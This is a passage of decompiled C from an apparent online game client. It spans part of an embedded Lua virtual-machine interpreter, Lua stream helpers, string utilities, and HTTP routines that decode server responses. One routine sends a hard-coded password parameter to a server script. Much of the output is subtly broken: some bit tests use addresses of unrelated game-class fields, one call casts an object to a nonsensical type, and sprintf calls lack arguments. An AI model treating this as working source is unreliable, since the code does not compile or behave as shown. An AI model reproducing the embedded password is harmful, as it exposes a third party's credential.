*)v42 * *(double *)v40; continue; } v132 = 8; goto LABEL_66; case 0x10u: v49 = v4 >> 23; if ( BYTE1(v49) & 1 ) v50 = nci + 8 * (unsigned __int8)v49; else v50 = (int)&v1[v49]; v51 = v4 >> 14; if ( v51 & 0x100 ) v52 = nci + 8 * (unsigned __int8)v51; else v52 = (int)&v1[v51 & 0x1FF]; if ( (*(_DWORD *)(v50 + 4) & 0x7FFFFF00) == 2146936064 || (*(_DWORD *)(v52 + 4) & 0x7FFFFF00) == 2146936064 ) { luaV_arith(L, (lua_TValue *)v8, (lua_TValue *)v50, (lua_TValue *)v52, TM_DIV); v1 = ci->u.l.base; } else { *(double *)v8 = *(double *)v50 / *(double *)v52; } continue; case 0x11u: v53 = v4 >> 23; if ( BYTE1(v53) & 1 ) v40 = nci + 8 * (unsigned __int8)v53; else v40 = (int)&v1[v53]; v54 = v4 >> 14; if ( v54 & 0x100 ) v42 = nci + 8 * (unsigned __int8)v54; else v42 = (int)&v1[v54 & 0x1FF]; if ( (*(_DWORD *)(v40 + 4) & 0x7FFFFF00) != 2146936064 && (*(_DWORD *)(v42 + 4) & 0x7FFFFF00) != 2146936064 ) { *(double *)v8 = *(double *)v40 - floor(*(double *)v40 / *(double *)v42) * *(double *)v42; continue; } v132 = 10; LABEL_66: luaV_arith(L, (lua_TValue *)v8, (lua_TValue *)v40, (lua_TValue *)v42, v129); goto LABEL_67; case 0x12u: v55 = v4 >> 23; if ( BYTE1(v55) & 1 ) v56 = nci + 8 * (unsigned __int8)v55; else v56 = (int)&v1[v55]; v57 = v4 >> 14; if ( v57 & 0x100 ) v58 = nci + 8 * (unsigned __int8)v57; else v58 = (int)&v1[v57 & 0x1FF]; if ( (*(_DWORD *)(v56 + 4) & 0x7FFFFF00) == 2146936064 || (*(_DWORD *)(v58 + 4) & 0x7FFFFF00) == 2146936064 ) { luaV_arith(L, (lua_TValue *)v8, (lua_TValue *)v56, (lua_TValue *)v58, TM_POW); v1 = ci->u.l.base; } else { *(long double *)v8 = pow(*(double *)v56, *(double *)v58); } continue; case 0x13u: v59 = v4 >> 23; v60 = v1[v59].u.i.tt__; v61 = &v1[v59]; if ( (v60 & 0x7FFFFF00) == 2146936064 ) { luaV_arith(L, (lua_TValue *)v8, v61, v61, TM_UNM); v1 = ci->u.l.base; } else { *(double *)v8 = -*(double *)&v61->u.i.v__.gc; } continue; case 0x14u: v62 = v4 >> 23; v63 = v1[v62].u.i.tt__; v64 = (int)&v1[v62]; if ( v63 != 2146936064 && (v63 != 2146936065 || *(_DWORD *)v64) ) { *(_DWORD *)v8 = 0; *(_DWORD *)(v8 + 4) = 2146936065; } else { *(_DWORD *)v8 = 1; *(_DWORD *)(v8 + 4) = 2146936065; } continue; case 0x15u: luaV_objlen(L, (lua_TValue *)v8, &v1[v4 >> 23]); v1 = ci->u.l.base; continue; case 0x16u: v65 = v4; v66 = (v4 >> 14) & 0x1FF; v65 >>= 23; L->top = &v1[v66 + 1]; luaV_concat(L, v66 - v65 + 1); v67 = ci->u.l.base; v68 = (int)&v67[h]; v69 = (int)&v67[v65]; *(_DWORD *)v68 = *(_DWORD *)v69; *(_DWORD *)(v68 + 4) = *(_DWORD *)(v69 + 4); if ( L->l_G->GCdebt > 0 ) { if ( v68 >= (unsigned int)v69 ) v69 = v68 + 8; L->top = (lua_TValue *)v69; luaC_step(L); L->top = ci->top; } v1 = ci->u.l.base; L->top = ci->top; continue; case 0x17u: if ( v7 > 0 ) { luaF_close(L, &ci->u.l.base[v7 - 1]); v2 = ci; } goto LABEL_134; case 0x18u: v70 = v4 >> 23; if ( BYTE1(v70) & 1 ) v71 = nci + 8 * (unsigned __int8)v70; else v71 = (int)&v1[v70]; v72 = v4 >> 14; if ( v72 & 0x100 ) v73 = nci + 8 * (unsigned __int8)v72; else v73 = (int)&v1[v72 & 0x1FF]; if ( (*(_DWORD *)(v71 + 4) & 0x7FFFFF00) == 2146936064 ) v74 = *(_DWORD *)(v71 + 4) == *(_DWORD *)(v73 + 4); else v74 = (*(_DWORD *)(v73 + 4) & 0x7FFFFF00) != 2146936064; v75 = v74 && luaV_equalobj_(L, (lua_TValue *)v71, (lua_TValue *)v73); if ( v75 == h ) { v76 = *ci->u.l.savedpc; if ( (signed int)((v76 >> 6) & 0xFF) > 0 ) luaF_close(L, &ci->u.l.base[((v76 >> 6) & 0xFF) - 1]); v1 = ci->u.l.base; ci->u.l.savedpc += (v76 >> 14) - 131070; } else { v1 = ci->u.l.base; ++ci->u.l.savedpc; } continue; case 0x19u: v77 = v4 >> 14; if ( BYTE1(v77) & 1 ) v78 = nci + 8 * (unsigned __int8)v77; else v78 = (int)&v1[v77 & 0x1FF]; v79 = v4 >> 23; if ( v79 & 0x100 ) v80 = nci + 8 * (unsigned __int8)v79; else v80 = (int)&v1[v79]; v81 = L; if ( luaV_lessthan(L, (lua_TValue *)v80, (lua_TValue *)v78) == h ) goto LABEL_161; v1 = ci->u.l.base; ++ci->u.l.savedpc; continue; case 0x1Au: v83 = v4 >> 14; if ( BYTE1(v83) & 1 ) v84 = nci + 8 * (unsigned __int8)v83; else v84 = (int)&v1[v83 & 0x1FF]; v85 = v4 >> 23; if ( v85 & 0x100 ) v86 = nci + 8 * (unsigned __int8)v85; else v86 = (int)&v1[v85]; v81 = L; if ( luaV_lessequal(L, (lua_TValue *)v86, (lua_TValue *)v84) == h ) { LABEL_161: v82 = *ci->u.l.savedpc; if ( (const signed int)((*ci->u.l.savedpc >> 6) & 0xFF) > 0 ) luaF_close(v81, &ci->u.l.base[((*ci->u.l.savedpc >> 6) & 0xFF) - 1]); v1 = ci->u.l.base; ci->u.l.savedpc += (v82 >> 14) - 131070; } else { v1 = ci->u.l.base; ++ci->u.l.savedpc; } continue; case 0x1Bu: v87 = *(_DWORD *)(v8 + 4); if ( (unsigned int)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[449] & v4 ) { if ( v87 == 2146936064 || v87 == 2146936065 && !*(_DWORD *)v8 ) goto LABEL_180; } else { if ( v87 != 2146936064 && (v87 != 2146936065 || *(_DWORD *)v8) ) { LABEL_180: ++v2->u.l.savedpc; continue; } } LABEL_186: v90 = *v2->u.l.savedpc; if ( (signed int)((v90 >> 6) & 0xFF) > 0 ) { luaF_close(L, (lua_TValue *)v129); v2 = ci; } v2->u.l.savedpc += (v90 >> 14) - 131070; continue; case 0x1Cu: v88 = v1[v4 >> 23].u.i.tt__; v89 = (int)&v1[v4 >> 23]; if ( (unsigned int)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[449] & v4 ) { if ( v88 != 2146936064 && (v88 != 2146936065 || *(_DWORD *)v89) ) goto LABEL_185; } else { if ( v88 == 2146936064 || v88 == 2146936065 && !*(_DWORD *)v89 ) { LABEL_185: *(_DWORD *)v8 = *(_DWORD *)v89; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v89 + 4); goto LABEL_186; } } ++v2->u.l.savedpc; continue; case 0x1Du: v91 = v4 >> 23; v92 = ((v4 >> 14) & 0x1FF) - 1; if ( v91 ) L->top = (lua_TValue *)(v8 + 8 * v91); if ( !luaD_precall(L, (lua_TValue *)v8, v92) ) { ci = L->ci; ci->callstatus |= 4u; goto newframe; } if ( v92 < 0 ) { LABEL_67: v1 = ci->u.l.base; } else { L->top = ci->top; v1 = ci->u.l.base; } continue; case 0x1Eu: v93 = v4 >> 23; if ( v93 ) L->top = (lua_TValue *)(v8 + 8 * v93); if ( luaD_precall(L, (lua_TValue *)v8, -1) ) goto LABEL_26; v94 = L->ci; v95 = (int)v94->func; v96 = v94->previous; v97 = v96->func; ncia = L->ci; ha = (int)&v94->u.l.base[*(_BYTE *)(v94->func->u.i.v__.gc->ts.tsv.len + 76)]; if ( *(_DWORD *)(v136->ts.tsv.len + 56) > 0 ) luaF_close(L, v96->u.l.base); ba = 0; if ( v95 < (unsigned int)ha ) { v98 = v95; v99 = 0; do { v97[v99].u.i.v__.gc = *(GCObject **)v98; v97[v99].u.i.tt__ = *(_DWORD *)(v98 + 4); v100 = ba + 1; ba = v100; v99 = v100; v98 = v99 * 8 + v95; } while ( v99 * 8 + v95 < (unsigned int)ha ); } v96->u.l.base = &v97[(signed int)((char *)ncia->u.l.base - v95) >> 3]; v101 = &v97[(signed int)((char *)L->top - v95) >> 3]; L->top = v101; v96->top = v101; v96->u.l.savedpc = ncia->u.l.savedpc; v96->callstatus |= 0x40u; L->ci = v96; ci = v96; goto newframe; case 0x20u: v102 = *(double *)(v8 + 16); v103 = v102 + *(double *)v8; v104 = *(double *)(v8 + 8); if ( v102 <= 0.0 ) { if ( v104 > v103 ) continue; v2 = ci; } else { if ( v103 > v104 ) continue; } v2->u.l.savedpc += (v4 >> 14) - 131071; *(_QWORD *)v8 = *(_QWORD *)&v103; *(_QWORD *)(v8 + 24) = *(_QWORD *)&v103; continue; case 0x21u: hb = (lua_TValue *)(v8 + 16); if ( (*(_DWORD *)(v8 + 4) & 0x7FFFFF00) == 2146936064 && !luaV_tonumber(&v1[v7], &v1[v7]) ) luaG_runerror(L, "'for' initial value must be a number"); if ( (*(_DWORD *)(v8 + 12) & 0x7FFFFF00) == 2146936064 && !luaV_tonumber((lua_TValue *)(v8 + 8), (lua_TValue *)(v8 + 8)) ) luaG_runerror(L, "'for' limit must be a number"); if ( (*(_DWORD *)(v8 + 20) & 0x7FFFFF00) == 2146936064 ) { hb = luaV_tonumber(hb, hb); if ( !hb ) luaG_runerror(L, "'for' step must be a number"); } *(double *)v8 = *(double *)v8 - *(double *)&hb->u.i.v__.gc; ci->u.l.savedpc += (v4 >> 14) - 131071; continue; case 0x22u: *(_DWORD *)(v8 + 40) = *(_DWORD *)(v8 + 16); *(_DWORD *)(v8 + 44) = *(_DWORD *)(v8 + 20); *(_DWORD *)(v8 + 32) = *(_DWORD *)(v8 + 8); *(_DWORD *)(v8 + 36) = *(_DWORD *)(v8 + 12); *(_DWORD *)(v8 + 24) = *(_DWORD *)v8; *(_DWORD *)(v8 + 28) = *(_DWORD *)(v8 + 4); L->top = (lua_TValue *)(v8 + 48); luaD_call(L, (lua_TValue *)(v8 + 24), (v4 >> 14) & 0x1FF, 1); v1 = ci->u.l.base; L->top = ci->top; v105 = ci->u.l.savedpc; v4 = *v105; v2 = ci; ci->u.l.savedpc = v105 + 1; v8 = (int)&v1[(v4 >> 6) & 0xFF]; goto l_tforloop; case 0x23u: l_tforloop: v106 = *(_DWORD *)(v8 + 12); if ( v106 != 2146936064 ) { *(_DWORD *)v8 = *(_DWORD *)(v8 + 8); *(_DWORD *)(v8 + 4) = v106; LABEL_134: v2->u.l.savedpc += (v4 >> 14) - 131071; } continue; case 0x24u: v107 = v4 >> 23; v108 = (v4 >> 14) & 0x1FF; bb = v107; v109 = v108; if ( !v107 ) { v107 = ((signed int)((char *)L->top - v8) >> 3) - 1; bb = ((signed int)((char *)L->top - v8) >> 3) - 1; } if ( !v108 ) { v110 = v2->u.l.savedpc; v109 = *v110 >> 6; ci->u.l.savedpc = v110 + 1; } v111 = 50 * v109 + v107 - 50; hc = *(_DWORD *)v8; if ( v111 > *(_DWORD *)(*(_DWORD *)v8 + 28) ) { luaH_resizearray(L, *(Table **)v8, v111); v107 = bb; } if ( v107 > 0 ) { v112 = v8 + 8 * bb; do { luaH_setint(L, (Table *)hc, v111, (lua_TValue *)v112); v113 = *(_DWORD *)(v112 + 4); --v111; if ( (*(_DWORD *)(v112 + 4) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v113) = 3; if ( v113 & 0x40 && *(_BYTE *)(*(_DWORD *)v112 + 5) & 3 && *(_BYTE *)(hc + 5) & 4 ) luaC_barrierback_(L, (GCObject *)hc); v112 -= 8; --bb; } while ( bb ); } L->top = ci->top; continue; case 0x25u: v114 = *(Proto **)(*(_DWORD *)(v136->ts.tsv.len + 16) + 4 * (v4 >> 14)); v115 = getcached(v114, (UpVal **)&v136->u.uv.len, v1); if ( v115 ) { v117 = L; *(_DWORD *)v8 = v115; *(_DWORD *)(v8 + 4) = 2146936134; } else { v116 = v114; v117 = L; pushclosure(L, v116, (UpVal **)&v136->u.uv.len, v1, (lua_TValue *)v8); } if ( v117->l_G->GCdebt <= 0 ) { LABEL_26: v1 = ci->u.l.base; } else { v117->top = (lua_TValue *)(v8 + 8); luaC_step(v117); v117->top = ci->top; v1 = ci->u.l.base; } continue; case 0x26u: v118 = (v4 >> 23) - 1; v119 = v1 - ci->func - *(_BYTE *)(v136->ts.tsv.len + 76) - 1; bc = v118; if ( v118 < 0 ) { v120 = L; bc = v1 - ci->func - *(_BYTE *)(v136->ts.tsv.len + 76) - 1; if ( (signed int)(L->stack_last - L->top) <= v119 ) { luaD_growstack(L, v119); v7 = h; v120 = L; } v1 = ci->u.l.base; v118 = v119; v8 = (int)&v1[v7]; v120->top = (lua_TValue *)(v8 + 8 * v119); } v121 = 0; if ( v118 > 0 ) { v122 = (int)&v1[-v119]; do { if ( v121 >= v119 ) { *(_DWORD *)(v8 + 4) = 2146936064; } else { *(_DWORD *)v8 = *(_DWORD *)v122; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v122 + 4); } ++v121; v122 += 8; v8 += 8; } while ( v121 < bc ); } continue; case 0x1Fu: v123 = v4 >> 23; if ( v123 ) L->top = (lua_TValue *)(v8 + 8 * v123 - 8); if ( *(_DWORD *)(v136->ts.tsv.len + 56) > 0 ) luaF_close(L, v1); v124 = luaD_poscall(L, (lua_TValue *)v8); if ( ci->callstatus & 4 ) { ci = L->ci; if ( v124 ) L->top = L->ci->top; goto newframe; } return; default: continue; } } } //----- (005C4500) -------------------------------------------------------- int __cdecl luaZ_fill(Zio *z) { Zio *v1; // esi@1 const char *v2; // eax@1 char *v3; // ecx@3 int result; // eax@3 v1 = z; v2 = z->reader(z->L, z->data, (unsigned int *)&z); if ( v2 && z ) { v3 = (char *)z - 1; v1->p = v2; v1->n = (unsigned int)v3; LOBYTE(v3) = *v2; v1->p = v2 + 1; result = (unsigned __int8)v3; } else { result = -1; } return result; } //----- (005C4540) -------------------------------------------------------- void __cdecl luaZ_init(lua_State *L, Zio *z, const char *(__cdecl *reader)(lua_State *, void *, unsigned int *), void *data) { z->L = L; z->reader = reader; z->data = data; z->n = 0; z->p = 0; } //----- (005C4570) -------------------------------------------------------- unsigned int __cdecl luaZ_read(Zio *z, void *b, unsigned int n) { unsigned int v3; // ebp@1 const char *v4; // eax@3 unsigned int v5; // ecx@4 unsigned int v6; // esi@5 int v7; // ecx@5 const char *v8; // eax@5 unsigned int v9; // eax@7 const char *v10; // esi@9 v3 = n; if ( !n ) return 0; while ( z->n ) { LABEL_7: v9 = z->n; if ( v3 <= z->n ) v9 = v3; memcpy(b, z->p, v9); v10 = &z->p[v9]; v3 -= v9; z->n -= v9; z->p = v10; b = (char *)b + v9; if ( !v3 ) return 0; } v4 = z->reader(z->L, z->data, &n); if ( v4 ) { v5 = n; if ( n ) { v6 = n - 1; z->p = v4; z->n = v5 - 1; v7 = (unsigned __int8)*v4; v8 = v4 + 1; z->p = v8; if ( v7 != -1 ) { z->n = v6 + 1; z->p = v8 - 1; goto LABEL_7; } } } return v3; } //----- (005C4610) -------------------------------------------------------- char *__cdecl luaZ_openspace(lua_State *L, Mbuffer *buff, unsigned int n) { signed int v3; // esi@1 unsigned int v4; // eax@1 v3 = n; v4 = buff->buffsize; if ( n > v4 ) { if ( n < 0x20 ) v3 = 32; if ( (unsigned int)(v3 + 1) > 0xFFFFFFFD ) luaM_toobig(L); buff->buffer = (char *)luaM_realloc_(L, buff->buffer, v4, v3); buff->buffsize = v3; } return buff->buffer; } //----- (005C4660) -------------------------------------------------------- bool __thiscall HTTPString::hs_HTMMRead(HTTPString *this, char *address, int port, char *act, int world, int machine, char *nationcode) { bool result; // al@5 GET_TOKEN dGetToken; // [sp+10h] [bp-19B9Ch]@1 CHttpConnect Outspark; // [sp+110h] [bp-19A9Ch]@1 char worldbuffer[8]; // [sp+19B74h] [bp-38h]@3 char machinebuffer[32]; // [sp+19B7Ch] [bp-30h]@3 unsigned int v12; // [sp+19B9Ch] [bp-10h]@1 int v13; // [sp+19BA8h] [bp-4h]@1 v12 = (unsigned int)&dGetToken ^ __security_cookie; CHttpConnect::CHttpConnect(&Outspark, &this->baseclass_0); v13 = 0; if ( !CHttpConnect::InitConnection(&Outspark, 0x2710u) ) { GetLastError(); printf("Error! %d\n"); } CHttpConnect::SetPortA(&Outspark, port); CHttpConnect::SetServer(&Outspark, address); CHttpConnect::SetFuntion(&Outspark, "GR.php"); CHttpConnect::SetParameter(&Outspark, "act", act); CHttpConnect::SetParameter(&Outspark, "title", "Fiesta"); CHttpConnect::SetParameter(&Outspark, "nation", nationcode); CHttpConnect::SetParameter(&Outspark, "pw", "wndghkdlsalsrhdghkrnr"); sprintf(worldbuffer, "%d"); CHttpConnect::SetParameter(&Outspark, "world", worldbuffer); sprintf(machinebuffer, "Zone%d"); CHttpConnect::SetParameter(&Outspark, "machine", machinebuffer); if ( !CHttpConnect::QueryToServer(&Outspark) ) { GetLastError(); printf("Error! %d\n"); } CHttpConnect::GetToken(&Outspark, &dGetToken); v13 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&Outspark); __security_check_cookie((unsigned int)&dGetToken ^ v12); return result; } //----- (005C4850) -------------------------------------------------------- int __thiscall HTTPString::hs_Next(HTTPString *this) { int v1; // edi@1 unsigned int v2; // esi@2 char *v3; // edx@4 int v4; // eax@6 int v5; // eax@7 int v6; // edx@8 int result; // eax@9 char *v8; // eax@11 signed int v9; // eax@13 v1 = this->baseclass_0._Mysize; if ( this->hs_Offset < v1 ) { v2 = this->baseclass_0._Myres; do { if ( v2 < 0x10 ) v3 = (char *)&this->baseclass_0._Bx; else v3 = *(char **)&this->baseclass_0._Bx._Buf[0]; v4 = this->hs_Offset; if ( v3[v4] > 32 ) break; v5 = v4 + 1; this->hs_Offset = v5; } while ( v5 < (signed int)this->baseclass_0._Mysize ); } v6 = this->hs_Offset; if ( v6 < v1 ) { if ( this->baseclass_0._Myres < 0x10 ) v8 = (char *)&this->baseclass_0._Bx; else v8 = *(char **)&this->baseclass_0._Bx._Buf[0]; v9 = v8[v6]; if ( v9 >= 48 ) { if ( v9 > 57 ) { if ( v9 >= 65 ) { if ( v9 > 70 ) { result = 15; this->hs_Offset = v6 + 1; } else { result = v9 - 55; this->hs_Offset = v6 + 1; } } else { result = 10; this->hs_Offset = v6 + 1; } } else { result = v9 - 48; this->hs_Offset = v6 + 1; } } else { result = 0; this->hs_Offset = v6 + 1; } } else { result = -1; this->hs_Offset = v6 + 1; } return result; } //----- (005C48F0) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this) { this->_Myres = 15; this->_Mysize = 0; this->_Bx._Buf[0] = 0; } //----- (005C4910) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_basic_string_std::allocator>(std::pair,std::allocator > const ,int> *this) { std::pair,std::allocator > const ,int> *v1; // esi@1 v1 = this; if ( this->first._Myres >= 0x10 ) operator delete(*(void **)&this->first._Bx._Buf[0]); v1->first._Myres = 15; v1->first._Mysize = 0; v1->first._Bx._Buf[0] = 0; } //----- (005C4940) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::swap(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right) { int v2; // edi@1 int v3; // esi@1 int v4; // edx@1 unsigned int v5; // edx@1 unsigned int v6; // esi@1 unsigned int v7; // edx@1 int v8; // [sp+10h] [bp-14h]@1 int v9; // [sp+14h] [bp-10h]@1 __int64 v10; // [sp+18h] [bp-Ch]@1 unsigned int v11; // [sp+20h] [bp-4h]@1 v11 = (unsigned int)&v8 ^ __security_cookie; v2 = *(_DWORD *)&this->_Bx._Buf[0]; v9 = *(_DWORD *)&this->_Bx._Buf[4]; v3 = *(_DWORD *)&this->_Bx._Buf[12]; LODWORD(v10) = *(_DWORD *)&this->_Bx._Buf[8]; HIDWORD(v10) = v3; *(_QWORD *)&this->_Bx._Buf[0] = *(_QWORD *)&_Right->_Bx._Buf[0]; *(_QWORD *)&this->_Bx._Buf[8] = *(_QWORD *)&_Right->_Bx._Buf[8]; v4 = v9; *(_DWORD *)&_Right->_Bx._Buf[0] = v2; *(_DWORD *)&_Right->_Bx._Buf[4] = v4; *(_QWORD *)&_Right->_Bx._Buf[8] = v10; v5 = this->_Mysize; this->_Mysize = _Right->_Mysize; v6 = _Right->_Myres; _Right->_Mysize = v5; v7 = this->_Myres; this->_Myres = v6; _Right->_Myres = v7; } //----- (005C49E0) -------------------------------------------------------- HTTPString *__thiscall HTTPString::hs_Decoding(HTTPString *this, __int64 codeN, __int64 codeD) { HTTPString *v3; // esi@1 int v4; // eax@1 int v5; // edi@2 unsigned int v6; // ebp@2 int v7; // esi@3 unsigned __int64 v8; // kr00_8@4 unsigned int v9; // esi@5 signed __int64 v10; // qax@5 void *v11; // ecx@10 unsigned int v12; // ecx@12 void *v13; // edx@12 void *v14; // eax@16 unsigned int v15; // eax@18 void *v16; // ecx@18 void *v17; // eax@22 unsigned int v18; // eax@24 void *v19; // ecx@24 HTTPString *v20; // ecx@28 HTTPString *v21; // eax@32 HTTPString *thisa; // [sp+8h] [bp-48h]@1 std::basic_string,std::allocator >::iterator result; // [sp+Ch] [bp-44h]@1 __int64 m; // [sp+10h] [bp-40h]@5 int v25; // [sp+18h] [bp-38h]@4 __int64 decode; // [sp+1Ch] [bp-34h]@5 char decodestr; // [sp+24h] [bp-2Ch]@1 void *_First; // [sp+28h] [bp-28h]@1 int v29; // [sp+38h] [bp-18h]@1 unsigned int v30; // [sp+3Ch] [bp-14h]@1 unsigned int v31; // [sp+40h] [bp-10h]@1 int v32; // [sp+4Ch] [bp-4h]@1 v3 = this; v31 = (unsigned int)&thisa ^ __security_cookie; thisa = this; this->hs_Offset = std::basic_string_std::allocator>::find( &this->baseclass_0, ")}]", 0, 3u) + 3; v30 = 15; v29 = 0; LOBYTE(_First) = 0; v32 = 0; std::basic_string_std::allocator>::erase( (std::basic_string,std::allocator > *)&decodestr, &result, (std::basic_string,std::allocator >::iterator)&_First, (std::basic_string,std::allocator >::iterator)&_First); v4 = HTTPString::hs_Next(v3); if ( v4 != -1 ) { do { v5 = 0; v6 = 0; if ( v4 > 0 ) { v7 = v4; do { v25 = HTTPString::hs_Next(thisa); result = (std::basic_string,std::allocator >::iterator)((unsigned __int64)v25 >> 32); v8 = 16 * __PAIR__(v6, v5) + v25; --v7; v5 = 16 * v5 + v25; v6 = HIDWORD(v8); } while ( v7 ); } v9 = 0; v10 = 1i64; decode = 1i64; LODWORD(m) = 0; if ( SHIDWORD(codeD) >= 0 && (SHIDWORD(codeD) > 0 || (_DWORD)codeD) ) { do { v10 = (signed __int64)(v10 * __PAIR__(v6, v5)) % codeN; v9 += __CFADD__((_DWORD)m, 1); LODWORD(m) = m + 1; } while ( (signed __int64)__PAIR__(v9, (unsigned int)m) < codeD ); decode = v10; } v11 = _First; if ( v30 < 0x10 ) v11 = &_First; v12 = (unsigned int)((char *)v11 + v29); v13 = _First; if ( v30 < 0x10 ) v13 = &_First; if ( v12 ) v12 -= (unsigned int)v13; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&decodestr, v12, 1u, v10); v14 = _First; if ( v30 < 0x10 ) v14 = &_First; v15 = (unsigned int)((char *)v14 + v29); v16 = _First; if ( v30 < 0x10 ) v16 = &_First; if ( v15 ) v15 -= (unsigned int)v16; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&decodestr, v15, 1u, SBYTE1(decode)); v17 = _First; if ( v30 < 0x10 ) v17 = &_First; v18 = (unsigned int)((char *)v17 + v29); v19 = _First; if ( v30 < 0x10 ) v19 = &_First; if ( v18 ) v18 -= (unsigned int)v19; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&decodestr, v18, 1u, SBYTE2(decode)); v4 = HTTPString::hs_Next(thisa); } while ( v4 != -1 ); v3 = v20; } std::basic_string_std::allocator>::swap( &v3->baseclass_0, (std::basic_string,std::allocator > *)&decodestr); if ( v30 >= 0x10 ) operator delete(_First); __security_check_cookie((unsigned int)&thisa ^ v31); return v21; } //----- (005C4C10) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall HTTPString::ExpandBuffer::eb_Get(HTTPString::ExpandBuffer *this, std::basic_string,std::allocator > *part, int patternloc, int patternsize) { int v4; // edi@1 HTTPString::ExpandBuffer *v5; // ebx@1 char *v6; // ebp@2 unsigned int v7; // ecx@3 char *v8; // edx@4 unsigned int v9; // eax@6 char *v10; // ecx@7 std::basic_string,std::allocator > *result; // eax@12 v4 = 0; v5 = this; if ( patternsize <= 0 ) { result = part; } else { v6 = (char *)&part->_Bx; do { v7 = part->_Myres; if ( v7 < 0x10 ) v8 = (char *)&part->_Bx; else v8 = *(char **)v6; v9 = (unsigned int)&v8[part->_Mysize]; if ( v7 < 0x10 ) v10 = (char *)&part->_Bx; else v10 = *(char **)v6; if ( v9 ) v9 -= (unsigned int)v10; std::basic_string_std::allocator>::insert( part, v9, 1u, v5->eb_Buffer[(patternloc + v4++ + v5->eb_Pointer) % 256]); } while ( v4 < patternsize ); result = part; } return result; } //----- (005C4CB0) -------------------------------------------------------- HTTPString *__thiscall HTTPString::hs_Expand(HTTPString *this) { int v1; // edx@0 bool v2; // cf@1 char *v3; // eax@1 int v4; // eax@3 std::basic_string,std::allocator > *v5; // edi@3 char *v6; // eax@4 void *v7; // eax@6 int v8; // eax@8 void *v9; // ecx@8 unsigned int v10; // eax@11 int v11; // ebp@13 unsigned int v12; // eax@14 int v13; // esi@14 int v14; // ecx@15 int v15; // ebp@18 int v16; // eax@19 void *v17; // eax@21 unsigned int v18; // eax@23 void *v19; // ecx@23 int v20; // eax@28 int v21; // ecx@32 int v22; // edi@34 int v23; // ebp@34 int v24; // eax@35 int v25; // esi@37 unsigned int v26; // ecx@37 char *v27; // eax@37 std::basic_string,std::allocator > *v28; // eax@39 unsigned int v29; // edx@39 int v30; // esi@39 int v31; // edi@40 unsigned int v32; // ecx@42 unsigned int v33; // ecx@46 void *v34; // edx@46 int i; // esi@46 void **v36; // eax@47 void *v37; // eax@49 unsigned int v38; // eax@51 void *v39; // ecx@51 void *v40; // eax@55 HTTPString *v41; // eax@64 std::basic_string,std::allocator > *thisa; // [sp+10h] [bp-15Ch]@1 char _Ch[4]; // [sp+14h] [bp-158h]@6 int v44; // [sp+18h] [bp-154h]@3 int v45; // [sp+1Ch] [bp-150h]@39 char result; // [sp+20h] [bp-14Ch]@3 void *_First; // [sp+24h] [bp-148h]@3 int v48; // [sp+34h] [bp-138h]@3 unsigned int v49; // [sp+38h] [bp-134h]@3 char part; // [sp+3Ch] [bp-130h]@37 void *p; // [sp+40h] [bp-12Ch]@37 int v52; // [sp+50h] [bp-11Ch]@37 unsigned int v53; // [sp+54h] [bp-118h]@37 char expbuf[256]; // [sp+58h] [bp-114h]@3 int v55; // [sp+158h] [bp-14h]@3 unsigned int v56; // [sp+15Ch] [bp-10h]@1 int v57; // [sp+168h] [bp-4h]@3 v56 = (unsigned int)&thisa ^ __security_cookie; v2 = this->baseclass_0._Myres < 0x10; thisa = (std::basic_string,std::allocator > *)this; v3 = (char *)&this->baseclass_0._Bx; if ( !v2 ) v3 = *(char **)v3; LOBYTE(v1) = *v3; BYTE1(v1) = *v3; v55 = 0; v49 = 15; v48 = 0; v4 = v1 << 16; LOWORD(v4) = v1; LOBYTE(_First) = 0; memset32(expbuf, v4, 0x40u); v57 = 0; std::basic_string_std::allocator>::erase( (std::basic_string,std::allocator > *)&result, (std::basic_string,std::allocator >::iterator *)&v44, (std::basic_string,std::allocator >::iterator)&_First, (std::basic_string,std::allocator >::iterator)&_First); v5 = thisa; if ( thisa->_Myres < 0x10 ) v6 = (char *)&thisa->_Bx; else v6 = *(char **)&thisa->_Bx._Buf[0]; _Ch[0] = *v6; v7 = _First; if ( v49 < 0x10 ) v7 = &_First; v8 = (int)((char *)v7 + v48); v9 = _First; if ( v49 < 0x10 ) v9 = &_First; if ( v8 ) v10 = v8 - (_DWORD)v9; else v10 = 0; v11 = 1; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&result, v10, 1u, _Ch[0]); if ( (signed int)v5->_Mysize > 1 ) { do { v12 = v5->_Myres; v13 = (int)&v5->_Bx; if ( v12 < 0x10 ) v14 = (int)&v5->_Bx; else v14 = *(_DWORD *)v13; if ( *(_BYTE *)(v14 + v11) ) { if ( v12 < 0x10 ) v21 = (int)&v5->_Bx; else v21 = *(_DWORD *)v13; v22 = *(_BYTE *)(v21 + v11); v23 = v11 + 1; if ( v12 < 0x10 ) v24 = v13; else v24 = *(_DWORD *)v13; v25 = *(_BYTE *)(v24 + v23); v15 = v23 + 1; v53 = 15; v52 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&part, byte_635E1E, 0); v26 = thisa->_Myres; v27 = (char *)&thisa->_Bx; LOBYTE(v57) = 1; if ( v26 >= 0x10 ) v27 = *(char **)v27; LOBYTE(v45) = v27[v15]; v28 = HTTPString::ExpandBuffer::eb_Get( (HTTPString::ExpandBuffer *)expbuf, (std::basic_string,std::allocator > *)&part, v22, v25); v29 = v28->_Myres; v30 = (int)&v28->_Bx; if ( v29 < 0x10 ) v31 = (int)&v28->_Bx; else v31 = *(_DWORD *)v30; v32 = v31 + v28->_Mysize; if ( v29 >= 0x10 ) v30 = 